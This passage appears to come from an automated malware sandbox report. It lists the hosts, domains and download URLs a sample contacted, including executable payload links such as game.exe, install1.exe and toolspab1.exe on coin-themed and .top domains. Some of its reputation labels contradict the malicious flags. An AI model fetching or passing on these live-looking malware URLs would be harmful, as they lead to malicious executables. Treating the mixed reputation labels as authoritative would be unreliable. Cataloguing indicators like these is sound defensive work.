8151 UninetSAdeCVMX false
185.186.142.166
 unknown Russian Federation
204490 ASKONTELRU true
67.199.248.10
 bit.ly United States
396982 GOOGLE-PRIVATE-CLOUDUS false

Private
IP
192.168.2.1

Contacted Domains

Name IP Active
unicupload.top 54.38.220.85 true
amogohuigotuli.at 211.169.6.249 true
host-data-coin-11.com 47.251.44.201 true
bit.ly 67.199.248.10 true
bitly.com 67.199.248.14 true
cdn.discordapp.com 162.159.130.233 true
privacytools-foryou-777.com 47.251.44.201 true
data-host-coin-8.com 47.251.44.201 true
unic11m.top 54.38.220.85 true
srtuiyhuali.at unknown unknown
fufuiloirtu.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://data-host-coin-8.com/files/9993_1641737702_2517.exe true
  • Avira URL Cloud: malware
 unknown
http://amogohuigotuli.at/ false
  • URL Reputation: safe
 unknown
http://185.7.214.171:8080/6.php true
  • URL Reputation: malware
 unknown
http://host-data-coin-11.com/ true
  • URL Reputation: safe
 unknown
https://cdn.discordapp.com/attachments/928021103304134716/928938539171864596/Dulling.exe false
    		high
    https://bitly.com/a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe false
      		high
      http://data-host-coin-8.com/game.exe true
      • Avira URL Cloud: malware
      		 unknown
      http://data-host-coin-8.com/files/2184_1641247228_8717.exe true
      • Avira URL Cloud: malware
      		 unknown
      https://bit.ly/3eHgQQR false
        		high
        http://file-file-host4.com/tratata.php true
        • URL Reputation: safe
        		 unknown
        pa:443 true
        • Avira URL Cloud: safe
        		 low
        http://unicupload.top/install5.exe true
        • URL Reputation: phishing
        		 unknown
        http://unic11m.top/install1.exe true
        • Avira URL Cloud: malware
        		 unknown
        http://data-host-coin-8.com/files/2150_1641729871_1812.exe false
        • Avira URL Cloud: safe
        		 unknown
        http://file-coin-host-12.com/ true
        • URL Reputation: safe
        		 unknown
        parubey.info:443 true
        • Avira URL Cloud: malware
        		 unknown
        https://185.233.81.115/32739433.dat?iddqd=1 true
        • Avira URL Cloud: safe
        		 unknown
        http://unicupload.top/install1.exe true
        • Avira URL Cloud: malware
        		 unknown
        http://privacytools-foryou-777.com/downloads/toolspab1.exe true
        • Avira URL Cloud: malware
        		 unknown